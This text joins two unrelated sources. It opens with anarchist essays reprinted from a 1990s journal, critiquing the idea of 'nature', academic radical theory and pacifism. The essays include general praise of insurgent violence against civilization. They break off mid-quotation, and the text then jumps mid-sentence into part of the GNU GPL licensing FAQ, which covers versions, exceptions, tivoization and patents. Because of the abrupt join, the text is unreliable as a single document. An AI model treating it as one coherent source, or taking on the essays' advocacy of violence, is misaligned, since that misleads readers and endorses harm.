But a totally negative conception of nature was bound to reach its limits of usefulness since it made civilization into an enclosed and besieged fortress, and to survive civilization has to expand, to be able to exploit more and more. “Nature” became a basket of resources for civilization, a “mother” to nurture “humanity” and its civilization. It was beautiful, worthy of worship, contemplation, study...and exploitation. It was not evil...but it was chaotic, capricious and unreliable. Fortunately for civilization, “human nature” had evolved, rational and needing to order things, to bring them under control. Wild places were necessary so that people could study and contemplate “nature” in its untouched state, but precisely so that civilized human beings could come to understand and control “natural” processes in order to use them to expand civilization. So the “evil wilderness” is overshadowed by a “nature” or “wilderness” that has positive value for civilization.
The concept of nature creates systems of social value and morality. Because of the apparently contradictory strands that have gone into the development of “nature,” these systems also may appear contradictory; but they all achieve the same end: our domestication. Those who tell us to “act civilized” and those who tell us to “act natural” are really telling us the same thing: “Live in accordance with external values, not in accordance with your desires.” The morality of naturalness has been no less vicious than any other morality. People have been imprisoned, tortured and even killed for committing “unnatural acts” — and still are. “Nature,” too, is an ugly and demanding god.
From its beginnings, nature has been an image created by authority to reinforce its power. It is no surprise that in modern society, where image dominates reality and often seems to create it, “nature” comes into its own as a means of keeping us domesticated. “Nature” shows on TV, Sierra Club calendars, “wilderness” outfitters, “natural” foods and fibers, the “environmental” president and “radical” ecology all conspire to create “nature” and, our “proper” relationship to it. The image evoked retains aspects of the “evil wilderness” of early civilization in a subliminal form. “Nature” shows always include scenes of predation and the directors of these shows have been said to use electric prods in attempts to goad animals into fights. The warnings given to would-be “wilderness” explorers about dangerous animals and plants and the amount of products created by “wilderness” outfitters for dealing with these things is quite excessive from my own experiences wandering in wild places. We are given the image of life outside of civilization as a struggle for survival.
But the society of the spectacle needs the “evil wilderness” to be subliminal in order to use it efficiently. The dominant image of “nature” is that it is a resource and a thing of beauty to be contemplated and studied. “Wilderness” is a place to which we can retreat for a short time, if properly outfitted, to escape from the humdrum of daily life, to relax and meditate or to find excitement and adventure. And, of course, “nature” remains the “mother” who supplies our needs, the resource from which civilization creates itself.
In commodity culture, “nature” recuperates the desire for wild adventure, for life free from domestication, by selling us its image. The subliminal concept of the “evil wilderness” gives venturing into the woods a tang of risk that appeals to the adventurous and rebellious. It also reinforces the idea that we don’t really belong there, thus selling us the numerous products deemed necessary for incursions into wild places. The positive concept of nature makes us feel that we must experience wild places (not realizing that the concepts we’ve had fed into us will create what we experience at least as much as our actual surroundings). In this way, civilization successfully recuperates even those areas it seems not to touch directly, transforming them into “nature,” into “wilderness,” into aspects of the spectacle which keep us domesticated.
“Nature” domesticates because it transforms wildness into a monolithic entity, a huge realm separate from civilization. Expressions of wildness in the midst of civilization are labeled as immaturity, madness, delinquency, crime or immorality, allowing them to be dismissed, locked away, censured or punished while still maintaining that what is “natural” is good. When “wildness” becomes a realm outside of us rather than an expression of our own individual free-spiritedness, then there can be experts in “wildness” who will teach us the “correct” ways of “connecting” with it. On the west coast, there are all sorts of spiritual teachers making a mint selling a “wildness” to yuppies which in no way threatens their corporate dreams, their Porsches or their condos. “Wilderness” is a very profitable industry these days.
Ecologists — even “radical” ecologists — play right into this. Rather than trying to go wild and destroy civilization with the energy of their unchained desires, they try to “save wilderness.” In practice, this means begging or trying to manipulate the authorities into stopping the more harmful activities of certain industries and turning pockets of relatively undamaged woods, deserts and mountains into protected “Wilderness Areas.” This only reinforces the concept of wildness as a monolithic entity, “wilderness” or “nature,” and the commodification inherent in this concept. The very basis of the concept of a “Wilderness Area” is the separation of “wildness” and “humanity.” So it is no surprise that one of the brands of “radical” ecological ideology has created the conflict between “biocentrism” and “anthropocentrism” — as though we should be anything other than egocentric.
Even those “radical ecologists” who claim to want to reintegrate people into “nature” are fooling themselves. Their vision of (as one of them put it) a “wild, symbiotic whole” is just the monolithic concept created by civilization worded in a quasi-mystical way. “Wildness” continues to be a monolithic entity for these ecological mystics, a being greater than us, a god to whom we must submit. But submission is domestication. Submission is what keeps civilization going. The name of the ideology which enforces submission matters little — let it be “nature,” let it be the “wild, symbiotic whole.” The result will still be the continuation of domestication.
When wilderness is seen as having nothing to do with any monolithic concept, including “nature” or “wilderness,” when it is seen as the potential free spiritedness in individuals that could manifest at any moment, only then does it become a threat to civilization. Any of us could spend years in “the wilderness,” but if we continued to see what surrounded us through the lens of civilization, if we continued to see the myriads of beings monolithically as “nature,” as “wilderness,” as the “wild, symbiotic whole,” we’d still be civilized; we would not be wild. But if, in the midst of the city, we at any moment actively refuse our domestication, refuse to be dominated by the social roles that are forced upon us and instead live in terms of our passions, desires and whims, if we become the unique and unpredictable beings that lie hidden beneath the roles, we are, for that moment, wild. Playing fiercely among the ruins of a decaying civilization (but don’t be fooled, even in decay it is a dangerous enemy and capable of staggering on for a long time), we can do our damnedest to bring it tumbling down. And free-spirited rebels will reject the survivalism of ecology as just another attempt by civilization to suppress free life, and will strive to live the chaotic, ever-changing dance of freely relating, unique individuals in opposition both to civilization and to civilization’s attempt to contain wild, free-spirited living: “Nature.”
From “Anarchy: A Journal Of Desire Armed” Issue #29 Summer 1991.
Republished by Elephant Editions (London) 2000/2001 in the collection “Feral Revolution”
Radical Theory: A Wrecking Ball for Ivory Towers
It seems to have become a given among many anti-authoritarians that radical theory is an academic pursuit. On the one hand, there are the ideological activists who accuse anyone who attempts to critically analyze society or their own activities in a way that goes beyond the latest hip anarchist sloganeering of being armchair intellectuals or academics. On the other hand, there are those who supplement the income of their academic/intellectual professions by writing tracts criticizing society, the left or even their own professions, but in such abstract and insubstantial terms as to be meaningless in relation to their lives. These intellectuals “radicals” and anti-intellectual activists remain equally enslaved to society’s discourse. Radical theory is elsewhere.
Radical theory springs from the energy of insurgent desire first as a basic recognition that the social context in which we find ourselves impoverishes our lives. Because we have been educated not to think, but rather to have thoughts, it is very easy to fall from this basic recognition into accepting one or another “radical” ideology, mouthing the appropriate slogans and participating in mindless activism (better called reactivism) which jumps and dances for every cause and issue, but never attacks society at it’s root. I’ve heard “class war” anarchists (many of them from upper middle class backgrounds) justify such stupidity by declaring any attempts at more precise and critical thinking to be an expression of classist privilege — even when those making the attempts are high school dropout lumpen. But there is nothing radical about stupidity or “thinking” in slogans even when they’re anarchist slogans.
Radical theory is the attempt to understand the complex system of relationships which is society, how it reproduces itself and the individual as a part of itself, and how one can begin to undermine its control and take back one’s life in order to become a self-creative individual. It has no place in either the ivory tower of the academy or that of the mindless ideological (re)activism. It is rather an integral part of an active insurgence against society.
Having recognized that society impoverishes our lives, it is a very small step to realize that the simplistic sloganeering that is frequently passed off as radical thought is part of this impoverishment. It belittles us as individuals by substituting itself for thinking and imagination. “Smash authority” is a wonderful sentiment, but that’s all it is. It tells us nothing about the nature of authority, our relationship to it, its trajectories and tendencies or how we can go about destroying it. This is why those for whom this slogan is an adequate analysis of authority continues to repeat the same futile and insipid actions over and over again as signs of their resistance to authority, actions which have long since proven only to reinforce authority by creating easily confined rituals of pseudo-opposition which keep rebellion domesticated.
The small step which opens the possibility of thinking beyond slogans is an about-face, a reversal of perspective. If society impoverishes our lives, if it offers nothing worth having, then there is no reason for any of us to let this absurd system of relationships into which we have been integrated continue to determine how we view the world either by acceptance of its perspective or by reaction to it. Instead our attempts to create our lives as fully and intensely as possible, which will bring us into conflict with society, can be the basis for an ongoing analysis of society and our relationship to it that challenges and enhances our thinking and imaginations and stimulates an active insurgence against authority as it exists in the interactions that create our daily lives. This analysis can not be a static set of ideas and principles, because it is an integral part of a dialectic of thinking and living as an insurgent, self-creating individual. As such, it is an integral part of action, not a separate specialization. Written expressions of this analysis (which should not be mistaken for the analysis itself) require the development of a language that is very precise and very fluid, very pointed and very playful. I am very far from attaining this, but am trying to develop it. The language of the situationists (particularly Debord and Vaneigem in his SI days) was aiming for this. But those who prefer slogans to intensive analysis frequently accuse those attempting to develop such language of “intellectualism,” yet only by developing such a language can the expression of theory be wrested from intellectual specialists and made into an integral part of an active insurgence.
Radical theory is an aspect of a way of living which smashes all ivory towers. It exposes the theories that spill from the academic ivory towers as lifeless shams. It exposes the actions of the ideologues of activism as mindless reaction. To put it another way, theorists who aren’t living insurgent life say nothing that’s worth saying, and activists who refuse to think critically do nothing worth doing. Radical theory is thinking becoming sensually integrated into an insurgent life and learning, however slowly, to express itself with precision and fluidity. When developed it cuts like a well-honed knife.
From Anarchy: A Journal of Desire Armed #38 Fall 1993
republished by Elephant Editions (London) 2000/2001 in the collection “Feral Revolution”
reprinted in the pamphlet “The Iconoclast’s Hammer” by Venomous Butterfly Publications.
Insurgent Ferocity: The Playful Violence of Rebellion
“We don’t just talk about violence; it is our element, our everyday fate...the conditions we are forced to live in...” Os Cangacieros
Social control is impossible without violence. Society produces systems of rationaized violence to socialize individuals — to make them into useful resources for society, while some of these systems, such as the military, the plolice and the penal system can still be viewed separately due to the blatant harshness of their violence, for the most part these systems have become so interconnected and so pervasive that they act as a single totality — the totality which is the society in which we live.
This systemic violence exists mostly as a constant underlying threat — a subtle, even boring, everyday terrorism which incuces a fear of stepping out of line. The signs and orders from “superiors” which threaten us with punishment or poverty, the armed, uniformed thugs who are there to “protect and serve” (huh!?!), the barrage of headlines about wars, torture, serial killers and streeet gangs, all immerse us in an atmosphere of subtle, underlying, rationalized social violence which causes us to fear and repress our own violent passions.
In light of the systematic social violence that surrounds us, it’s no surprise that people are fooled into viewing all violence as a single, monolithic entity rather than as specific acts or ways of relating. The system of violence produced by society does become a monolith which acts to perpetuate itself.
In reaction to this monolithic system of violence, the “pathology of pacifism” develops. Unable to see beyond social catagories, the pacifist creates a false dichotomy, limiting the question of violence to the ethical/intellectual choice between as acceptance of violence as a monolithic system or the total rejection of violence. But this choice exists only in the realm of worthless abstactions, because in the world in which we actually live, pacifism and systematic violence depend upon each other. Pacifism is an ideaology which demands total social peace as its ultimate goal. But total social peace would require the complete suppression of the individual passions that create individual incidences of violence — and that would require total social control. Total social control is only possible through the use of the constant threat of the police, prison, therapy, social censure, scarcity or war. So the pacifist ideal requires a monolithic system of violence and reflects the social contradiction inherent in the necessity that authority strive to maintain peace in order to maintain a smoothly running social system, but can only do so by maintaining a rationalized system of violence.
The rational system of violence not only perpetuates itself, but also evokes responses, often in the form of blind lashings out by enraged individuals, which the system then manipulates into justifications for its own continual existence, and occasionally in the form of consciously rebellious violence. The passionate violence that is suppressed turns in on the one feeling it, becoming the the slow-killing, underlying violence of stress and anxiety. It is evident in the millions of little pinpricks of humiliation that pass between people on the streets and in the public places of every city — looks of disgust and hostility between strangers, and the verbal battle of wits exchanging guilt and blame between supposed friends. This is the subtlest and most total form of rationalised violence; everyone conforms out of fear of each others’ disgust. This is the subtle form of violence practiced by pacifists.
“I do not dream of a gentle revolution. My passion runs to the violence of supersession, the ferocity of a life that renounces nothing.” — |
't released this version, no such violation has occurred.
What if a company distributes a copy as a trade secret? #TradeSecretRelease)
If a company distributes a copy to you and claims it is a trade secret, the company has violated the GPL and will have to cease distribution. Note how this differs from the theft case above; the company does not intentionally distribute a copy when a copy is stolen, so in that case the company has not violated the GPL.
Why are some GNU libraries released under the ordinary GPL rather than the Lesser GPL? #WhySomeGPLAndNotLGPL)
Using the Lesser GPL for any particular library constitutes a retreat for free software. It means we partially abandon the attempt to defend the users' freedom, and some of the requirements to share what is built on top of GPL-covered software. In themselves, those are changes for the worse. Sometimes a localized retreat is a good strategy. Sometimes, using the LGPL for a library might lead to wider use of that library, and thus to more improvement for it, wider support for free software, and so on. This could be good for free software if it happens to a large extent. But how much will this happen? We can only speculate. It would be nice to try out the LGPL on each library for a while, see whether it helps, and change back to the GPL if the LGPL didn't help. But this is not feasible. Once we use the LGPL for a particular library, changing back would be difficult. So we decide which license to use for each library on a case-by-case basis. There is a long explanation of how we judge the question.
Using a certain GNU program under the GPL does not fit our project to make proprietary software. Will you make an exception for us? It would mean more users of that program. #WillYouMakeAnException)
Sorry, we don't make such exceptions. It would not be right. Maximizing the number of users is not our aim. Rather, we are trying to give the crucial freedoms to as many users as possible. In general, proprietary software projects hinder rather than help the cause of freedom. We do occasionally make license exceptions to assist a project which is producing free software under a license other than the GPL. However, we have to see a good reason why this will advance the cause of free software. We also do sometimes change the distribution terms of a package, when that seems clearly the right way to serve the cause of free software; but we are very cautious about this, so you will have to show us very convincing reasons.
Why should programs say “Version 3 of the GPL or any later version”? #VersionThreeOrLater)
From time to time, at intervals of years, we change the GPL—sometimes to clarify it, sometimes to permit certain kinds of use not previously permitted, and sometimes to tighten up a requirement. (The last two changes were in 2007 and 1991.) Using this “indirect pointer” in each program makes it possible for us to change the distribution terms on the entire collection of GNU software, when we update the GPL. If each program lacked the indirect pointer, we would be forced to discuss the change at length with numerous copyright holders, which would be a virtual impossibility. In practice, the chance of having uniform distribution terms for GNU software would be nil. Suppose a program says “Version 3 of the GPL or any later version” and a new version of the GPL is released. If the new GPL version gives additional permission, that permission will be available immediately to all the users of the program. But if the new GPL version has a tighter requirement, it will not restrict use of the current version of the program, because it can still be used under GPL version 3. When a program says “Version 3 of the GPL or any later version”, users will always be permitted to use it, and even change it, according to the terms of GPL version 3—even after later versions of the GPL are available. If a tighter requirement in a new version of the GPL need not be obeyed for existing software, how is it useful? Once GPL version 4 is available, the developers of most GPL-covered programs will release subsequent versions of their programs specifying “Version 4 of the GPL or any later version”. Then users will have to follow the tighter requirements in GPL version 4, for subsequent versions of the program. However, developers are not obligated to do this; developers can continue allowing use of the previous version of the GPL, if that is their preference.
Is it a good idea to use a license saying that a certain program can be used only under the latest version of the GNU GPL? #OnlyLatestVersion)
The reason you shouldn't do that is that it could result some day in withdrawing automatically some permissions that the users previously had. Suppose a program was released in 2000 under “the latest GPL version”. At that time, people could have used it under GPLv2. The day we published GPLv3 in 2007, everyone would have been suddenly compelled to use it under GPLv3 instead. Some users may not even have known about GPL version 3—but they would have been required to use it. They could have violated the program's license unintentionally just because they did not get the news. That's a bad way to treat people. We think it is wrong to take back permissions already granted, except due to a violation. If your freedom could be revoked, then it isn't really freedom. Thus, if you get a copy of a program version under one version of a license, you should always have the rights granted by that version of the license. Releasing under “GPL version N or any later version” upholds that principle.
Why don't you use the GPL for manuals? #WhyNotGPLForManuals)
It is possible to use the GPL for a manual, but the GNU Free Documentation License (GFDL) is much better for manuals. The GPL was designed for programs; it contains lots of complex clauses that are crucial for programs, but that would be cumbersome and unnecessary for a book or manual. For instance, anyone publishing the book on paper would have to either include machine-readable “source code” of the book along with each printed copy, or provide a written offer to send the “source code” later. Meanwhile, the GFDL has clauses that help publishers of free manuals make a profit from selling copies—cover texts, for instance. The special rules for Endorsements sections make it possible to use the GFDL for an official standard. This would permit modified versions, but they could not be labeled as “the standard”. Using the GFDL, we permit changes in the text of a manual that covers its technical topic. It is important to be able to change the technical parts, because people who change a program ought to change the documentation to correspond. The freedom to do this is an ethical imperative. Our manuals also include sections that state our political position about free software. We mark these as “invariant”, so that they cannot be changed or removed. The GFDL makes provisions for these “invariant sections”.
How does the GPL apply to fonts? #FontException)
Font licensing is a complex issue which needs serious consideration. The following license exception is experimental but approved for general use. We welcome suggestions on this subject—please see this this explanatory essay and write to [email protected]. To use this exception, add this text to the license notice of each file in the package (to the extent possible), at the end of the text that says the file is distributed under the GNU GPL: As a special exception, if you create a document which uses this font, and embed this font or unaltered portions of this font into the document, this font does not by itself cause the resulting document to be covered by the GNU General Public License. This exception does not however invalidate any other reasons why the document might be covered by the GNU General Public License. If you modify this font, you may extend this exception to your version of the font, but you are not obligated to do so. If you do not wish to do so, delete this exception statement from your version.
I am writing a website maintenance system (called a “content management system” by some), or some other application which generates web pages from templates. What license should I use for those templates? #WMS)
Templates are minor enough that it is not worth using copyleft to protect them. It is normally harmless to use copyleft on minor works, but templates are a special case, because they are combined with data provided by users of the application and the combination is distributed. So, we recommend that you license your templates under simple permissive terms. Some templates make calls into JavaScript functions. Since Javascript is often non-trivial, it is worth copylefting. Because the templates will be combined with user data, it's possible that template+user data+JavaScript would be considered one work under copyright law. A line needs to be drawn between the JavaScript (copylefted), and the user code (usually under incompatible terms). Here's an exception for JavaScript code that does this: As a special exception to the GPL, any HTML file which merely makes function calls to this code, and for that purpose includes it by reference shall be deemed a separate work for copyright law purposes. In addition, the copyright holders of this code give you permission to combine this code with free software libraries that are released under the GNU LGPL. You may copy and distribute such a system following the terms of the GNU GPL for this code and the LGPL for the libraries. If you modify this code, you may extend this exception to your version of the code, but you are not obligated to do so. If you do not wish to do so, delete this exception statement from your version.
Which programs you used to edit the source code, or to compile it, or study it, or record it, usually makes no difference for issues concerning the licensing of that source code. However, if you link nonfree libraries with the source code, that would be an issue you need to deal with. It does not preclude releasing the source code under the GPL, but if the libraries don't fit under the “system library” exception, you should affix an explicit notice giving permission to link your program with them. The FAQ entry about using GPL-incompatible libraries provides more information about how to do that.
Are there translations of the GPL into other languages? #GPLTranslations)
It would be useful to have translations of the GPL into languages other than English. People have even written translations and sent them to us. But we have not dared to approve them as officially valid. That carries a risk so great we do not dare accept it. A legal document is in some ways like a program. Translating it is like translating a program from one language and operating system to another. Only a lawyer skilled in both languages can do it—and even then, there is a risk of introducing a bug. If we were to approve, officially, a translation of the GPL, we would be giving everyone permission to do whatever the translation says they can do. If it is a completely accurate translation, that is fine. But if there is an error in the translation, the results could be a disaster which we could not fix. If a program has a bug, we can release a new version, and eventually the old version will more or less disappear. But once we have given everyone permission to act according to a particular translation, we have no way of taking back that permission if we find, later on, that it had a bug. Helpful people sometimes offer to do the work of translation for us. If the problem were a matter of finding someone to do the work, this would solve it. But the actual problem is the risk of error, and offering to do the work does not avoid the risk. We could not possibly authorize a translation written by a non-lawyer. Therefore, for the time being, we are not approving translations of the GPL as globally valid and binding. Instead, we are doing two things: Referring people to unofficial translations. This means that we permit people to write translations of the GPL, but we don't approve them as legally valid and binding. An unapproved translation has no legal force, and it should say so explicitly. It should be marked as follows: This translation of the GPL is informal, and not officially approved by the Free Software Foundation as valid. To be completely sure of what is permitted, refer to the original GPL (in English). But the unapproved translation can serve as a hint for how to understand the English GPL. For many users, that is sufficient. However, businesses using GNU software in commercial activity, and people doing public ftp distribution, should need to check the real English GPL to make sure of what it permits.
Publishing translations valid for a single country only. We are considering the idea of publishing translations which are officially valid only for one country. This way, if there is a mistake, it will be limited to that country, and the damage will not be too great. It will still take considerable expertise and effort from a sympathetic and capable lawyer to make a translation, so we cannot promise any such translations soon.
If a programming language interpreter has a license that is incompatible with the GPL, can I run GPL-covered programs on it? #InterpreterIncompat)
When the interpreter just interprets a language, the answer is yes. The interpreted program, to the interpreter, is just data; the GPL doesn't restrict what tools you process the program with. However, when the interpreter is extended to provide “bindings” to other facilities (often, but not necessarily, libraries), the interpreted program is effectively linked to the facilities it uses through these bindings. The JNI or Java Native Interface is an example of such a facility; libraries that are accessed in this way are linked dynamically with the Java programs that call them. So if these facilities are released under a GPL-incompatible license, the situation is like linking in any other way with a GPL-incompatible library. Which implies that: If you are writing code and releasing it under the GPL, you can state an explicit exception giving permission to link it with those GPL-incompatible facilities. If you wrote and released the program under the GPL, and you designed it specifically to work with those facilities, people can take that as an implicit exception permitting them to link it with those facilities. But if that is what you intend, it is better to say so explicitly. You can't take someone else's GPL-covered code and use it that way, or add such exceptions to it. Only the copyright holders of that code can add the exception.
Who has the power to enforce the GPL? #WhoHasThePower)
Since the GPL is a copyright license, the copyright holders of the software are the ones who have the power to enforce the GPL. If you see a violation of the GPL, you should inform the developers of the GPL-covered software involved. They either are the copyright holders, or are connected with the copyright holders. Learn more about reporting GPL violations.
In an object-oriented language such as Java, if I use a class that is GPLed without modifying, and subclass it, in what way does the GPL affect the larger program? #OOPLang)
Subclassing is creating a derivative work. Therefore, the terms of the GPL affect the whole program where you create a subclass of a GPLed class.
If I port my program to GNU/Linux, does that mean I have to release it as free software under the GPL or some other Free Software license? #PortProgramToGPL)
In general, the answer is no—this is not a legal requirement. In specific, the answer depends on which libraries you want to use and what their licenses are. Most system libraries either use the GNU Lesser GPL, or use the GNU GPL plus an exception permitting linking the library with anything. These libraries can be used in nonfree programs; but in the case of the Lesser GPL, it does have some requirements you must follow. Some libraries are released under the GNU GPL alone; you must use a GPL-compatible license to use those libraries. But these are normally the more specialized libraries, and you would not have had anything much like them on another platform, so you probably won't find yourself wanting to use these libraries for simple porting. Of course, your software is not a contribution to our community if it is not free, and people who value their freedom will refuse to use it. Only people willing to give up their freedom will use your software, which means that it will effectively function as an inducement for people to lose their freedom. If you hope some day to look back on your career and feel that it has contributed to the growth of a good and free society, you need to make your software free.
I just found out that a company has a copy of a GPLed program, and it costs money to get it. Aren't they violating the GPL by not making it available on the Internet? #CompanyGPLCostsMoney)
No. The GPL does not require anyone to use the Internet for distribution. It also does not require anyone in particular to redistribute the program. And (outside of one special case), even if someone does decide to redistribute the program sometimes, the GPL doesn't say he has to distribute a copy to you in particular, or any other person in particular. What the GPL requires is that he must have the freedom to distribute a copy to you if he wishes to. Once the copyright holder does distribute a copy of the program to someone, that someone can then redistribute the program to you, or to anyone else, as he sees fit.
Can I release a program with a license which says that you can distribute modified versions of it under the GPL but you can't distribute the original itself under the GPL? #ReleaseNotOriginal)
No. Such a license would be self-contradictory. Let's look at its implications for me as a user. Suppose I start with the original version (call it version A), add some code (let's imagine it is 1000 lines), and release that modified version (call it B) under the GPL. The GPL says anyone can change version B again and release the result under the GPL. So I (or someone else) can delete those 1000 lines, producing version C which has the same code as version A but is under the GPL. If you try to block that path, by saying explicitly in the license that I'm not allowed to reproduce something identical to version A under the GPL by deleting those lines from version B, in effect the license now says that I can't fully use version B in all the ways that the GPL permits. In other words, the license does not in fact allow a user to release a modified version such as B under the GPL.
Does moving a copy to a majority-owned, and controlled, subsidiary constitute distribution? #DistributeSubsidiary)
Whether moving a copy to or from this subsidiary constitutes “distribution” is a matter to be decided in each case under the copyright law of the appropriate jurisdiction. The GPL does not and cannot override local laws. US copyright law is not entirely clear on the point, but appears not to consider this distribution. If, in some country, this is considered distribution, and the subsidiary must receive the right to redistribute the program, that will not make a practical difference. The subsidiary is controlled by the parent company; rights or no rights, it won't redistribute the program unless the parent company decides to do so.
Can software installers ask people to click to agree to the GPL? If I get some software under the GPL, do I have to agree to anything? #ClickThrough)
Some software packaging systems have a place which requires you to click through or otherwise indicate assent to the terms of the GPL. This is neither required nor forbidden. With or without a click through, the GPL's rules remain the same. Merely agreeing to the GPL doesn't place any obligations on you. You are not required to agree to anything to merely use software which is licensed under the GPL. You only have obligations if you modify or distribute the software. If it really bothers you to click through the GPL, nothing stops you from hacking the GPLed software to bypass this.
I would like to bundle GPLed software with some sort of installation software. Does that installer need to have a GPL-compatible license? #GPLCompatInstaller)
No. The installer and the files it installs are separate works. As a result, the terms of the GPL do not apply to the installation software.
Some distributors of GPLed software require me in their umbrella EULAs or as part of their downloading process to “represent and warrant” that I am located in the US or that I intend to distribute the software in compliance with relevant export control laws. Why are they doing this and is it a violation of those distributors' obligations under GPL? #ExportWarranties)
This is not a violation of the GPL. Those distributors (almost all of whom are commercial businesses selling free software distributions and related services) are trying to reduce their own legal risks, not to control your behavior. Export control law in the United States might make them liable if they knowingly export software into certain countries, or if they give software to parties they know will make such exports. By asking for these statements from their customers and others to whom they distribute software, they protect themselves in the event they are later asked by regulatory authorities what they knew about where software they distributed was going to wind up. They are not restricting what you can do with the software, only preventing themselves from being blamed with respect to anything you do. Because they are not placing additional restrictions on the software, they do not violate section 10 of GPLv3 or section 6 of GPLv2. The FSF opposes the application of US export control laws to free software. Not only are such laws incompatible with the general objective of software freedom, they achieve no reasonable governmental purpose, because free software is currently and should always be available from parties in almost every country, including countries that have no export control laws and which do not participate in US-led trade embargoes. Therefore, no country's government is actually deprived of free software by US export control laws, while no country's citizens should be deprived of free software, regardless of their governments' policies, as far as we are concerned. Copies of all GPL-licensed software published by the FSF can be obtained from us without making any representation about where you live or what you intend to do. At the same time, the FSF understands the desire of commercial distributors located in the US to comply with US laws. They have a right to choose to whom they distribute particular copies of free software; exercise of that right does not violate the GPL unless they add contractual restrictions beyond those permitted by the GPL.
Can I use GPLed software on a device that will stop operating if customers do not continue paying a subscription fee? #SubscriptionFee)
No. In this scenario, the requirement to keep paying a fee limits the user's ability to run the program. This is an additional requirement on top of the GPL, and the license prohibits it.
How do I upgrade from (L)GPLv2 to (L)GPLv3? #v3HowToUpgrade)
First, include the new version of the license in your package. If you're using LGPLv3 in your project, be sure to include copies of both GPLv3 and LGPLv3, since LGPLv3 is now written as a set of additional permissions on top of GPLv3. Second, replace all your existing v2 license notices (usually at the top of each file) with the new recommended text available on the GNU licenses howto. It's more future-proof because it no longer includes the FSF's postal mailing address. Of course, any descriptive text (such as in a README) which talks about the package's license should also be updated appropriately.
How does GPLv3 make BitTorrent distribution easier? #BitTorrent)
Because GPLv2 was written before peer-to-peer distribution of software was common, it is difficult to meet its requirements when you share code this way. The best way to make sure you are in compliance when distributing GPLv2 object code on BitTorrent would be to include all the corresponding source in the same torrent, which is prohibitively expensive. GPLv3 addresses this problem in two ways. First, people who download this torrent and send the data to others as part of that process are not required to do anything. That's because section 9 says “Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance [of the license].” Second, section 6(e) of GPLv3 is designed to give distributors—people who initially seed torrents—a clear and straightforward way to provide the source, by telling recipients where it is available on a public network server. This ensures that everyone who wants to get the source can do so, and it's almost no hassle for the distributor.
What is tivoization? How does GPLv3 prevent it? #Tivoization)
Some devices utilize free software that can be upgraded, but are designed so that users are not allowed to modify that software. There are lots of different ways to do this; for example, sometimes the hardware checksums the software that is installed, and shuts down if it doesn't match an expected signature. The manufacturers comply with GPLv2 by giving you the source code, but you still don't have the freedom to modify the software you're using. We call this practice tivoization. When people distribute User Products that include software under GPLv3, section 6 requires that they provide you with information necessary to modify that software. User Products is a term specially defined in the license; examples of User Products include portable music players, digital video recorders, and home security systems.
Does GPLv3 prohibit DRM? #DRMProhibited)
It does not; you can use code released under GPLv3 to develop any kind of DRM technology you like. However, if you do this, section 3 says that the system will not count as an effective technological “protection” measure, which means that if someone breaks the DRM, she will be free to distribute her software too, unhindered by the DMCA and similar laws. As usual, the GNU GPL does not restrict what people do in software, it just stops them from restricting others.
Can I use the GPL to license hardware? #GPLHardware)
Any material that can be copyrighted can be licensed under the GPL. GPLv3 can also be used to license materials covered by other copyright-like laws, such as semiconductor masks. So, as an example, you can release a drawing of a physical object or circuit under the GPL. In many situations, copyright does not cover making physical hardware from a drawing. In these situations, your license for the drawing simply can't exert any control over making or selling physical hardware, regardless of the license you use. When copyright does cover making hardware, for instance with IC masks, the GPL handles that case in a useful way.
I use public key cryptography to sign my code to assure its authenticity. Is it true that GPLv3 forces me to release my private signing keys? #GiveUpKeys)
No. The only time you would be required to release signing keys is if you conveyed GPLed software inside a User Product, and its hardware checked the software for a valid cryptographic signature before it would function. In that specific case, you would be required to provide anyone who owned the device, on demand, with the key to sign and install modified software on the device so that it will run. If each instance of the device uses a different key, then you need only give each purchaser a key for that instance.
Does GPLv3 require that voters be able to modify the software running in a voting machine? #v3VotingMachine)
No. Companies distributing devices that include software under GPLv3 are at most required to provide the source and Installation Information for the software to people who possess a copy of the object code. The voter who uses a voting machine (like any other kiosk) doesn't get possession of it, not even temporarily, so the voter also does not get possession of the binary software in it. Note, however, that voting is a very special case. Just because the software in a computer is free does not mean you can trust the computer for voting. We believe that computers cannot be trusted for voting. Voting should be done on paper.
Does GPLv3 have a “patent retaliation clause”? #v3PatentRetaliation)
In effect, yes. Section 10 prohibits people who convey the software from filing patent suits against other licensees. If someone did so anyway, section 8 explains how they would lose their license and any patent licenses that accompanied it.
Can I use snippets of GPL-covered source code within documentation that is licensed under some license that is incompatible with the GPL? #SourceCodeInDocumentation)
If the snippets are small enough that you can incorporate them under fair use or similar laws, then yes. Otherwise, no.
The beginning of GPLv3 section 6 says that I can convey a covered work in object code form “under the terms of sections 4 and 5” provided I also meet the conditions of section 6. What does that mean? #v3Under4and5)
This means that all the permissions and conditions you have to convey source code also apply when you convey object code: you may charge a fee, you must keep copyright notices intact, and so on.
My company owns a lot of patents. Over the years we've contributed code to projects under “GPL version 2 or any later version”, and the project itself has been distributed under the same terms. If a user decides to take the project's code (incorporating my contributions) under GPLv3, does that mean I've automatically granted GPLv3's explicit patent license to that user? #v2OrLaterPatentLicense)
No. When you convey GPLed software, you must follow the terms and conditions of one particular version of the license. When you do so, that version defines the obligations you have. If users may also elect to use later versions of the GPL, that's merely an additional permission they have—it does not require you to fulfill the terms of the later version of the GPL as well. Do not take this to mean that you can threaten the community with your patents. In many countries, distributing software under GPLv2 provides recipients with an implicit patent license to exercise their rights under the GPL. Even if it didn't, anyone considering enforcing their patents aggressively is an enemy of the community, and we will defend ourselves against such an attack.
If I distribute a proprietary program that links against an LGPLv3-covered library that I've modified, what is the “contributor version” for purposes of determining the scope of the explicit patent license grant I'm making—is it just the library, or is it the whole combination? #LGPLv3ContributorVersion)
The “contributor version” is only your version of the library.
Is GPLv3 compatible with GPLv2? #v2v3Compatibility)
No. Many requirements have changed from GPLv2 to GPLv3, which means that the precise requirement of GPLv2 is not present in GPLv3, and vice versa. For instance, the Termination conditions of GPLv3 are considerably more permissive than those of GPLv2, and thus different from the Termination conditions of GPLv2. Due to these differences, the two licenses are not compatible: if you tried to combine code released under GPLv2 with code under GPLv3, you would violate section 6 of GPLv2. However, if code is released under GPL “version 2 or later,” that is compatible with GPLv3 because GPLv3 is one of the options it permits.
Does GPLv2 have a requirement about delivering installation information? #InstInfo)
GPLv3 explicitly requires redistribution to include the full necessary “Installation Information.” GPLv2 doesn't use that term, but it does require redistribution to include scripts used to control compilation and installation of the executable with the complete and corresponding source code. This covers part, but not all, of what GPLv3 calls “Installation Information.” Thus, GPLv3's requirement about installation information is stronger.
